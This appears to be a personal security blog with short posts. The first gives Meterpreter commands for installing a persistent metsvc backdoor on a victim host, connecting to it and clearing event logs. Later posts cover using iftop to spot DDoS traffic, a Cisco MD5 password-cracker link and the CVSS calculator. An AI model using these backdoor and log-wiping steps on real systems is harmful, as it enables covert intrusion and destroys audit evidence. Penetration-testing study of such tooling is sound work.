Monday, May 21, 2018

Some common use cases of Meterpreter

Install a persistent backdoor:
meterpreter>ps
When locating the explorer.exe (suppose the process ID of the explorer.exe is 623), execute the command below:
meterpreter>migrate 623
meterpreter>run metsvc

Connect to the metsvc (suppose the victim owns the IP address, 192.168.1.104):
msf>use exploit/multi/handler
msf exploit(handler)>set PAYLOAD windows/metsvc_bind_tcp
msf exploit(handler)>set LPORT 31337
msf exploit(handler)>set RHOST 192.168.1.104
msf exploit(handler)>show options
msf exploit(handler)>run

Clean all Event Log:
meterpreter>clearev

Saturday, April 21, 2018

Suggest we use iftop instead of iptraf to identify DDoS

Reference: https://www.slashroot.in/linux-iptraf-and-iftop-monitor-and-analyse-network-traffic-and-bandwidth

Usage:
iftop -i INTERFACE
Example:
iftop -i eth1

The iftop automatically sorts out those network connections occupying excessive bandwidth from the top to the bottom.

The shortcut, "p", helps show the details regarding the source port and destination port for each connection.

The last three columns on the right represent the bandwidth usage for the last 2, 10, and 40 seconds.

Finally, the shortcut, "q", can help exit the program.

A link for cracking CISCO MD5 passwords

http://www.ifm.net.nz/cookbooks/cisco-ios-enable-secret-password-cracker.html

The official calculator for CVSS v3

https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator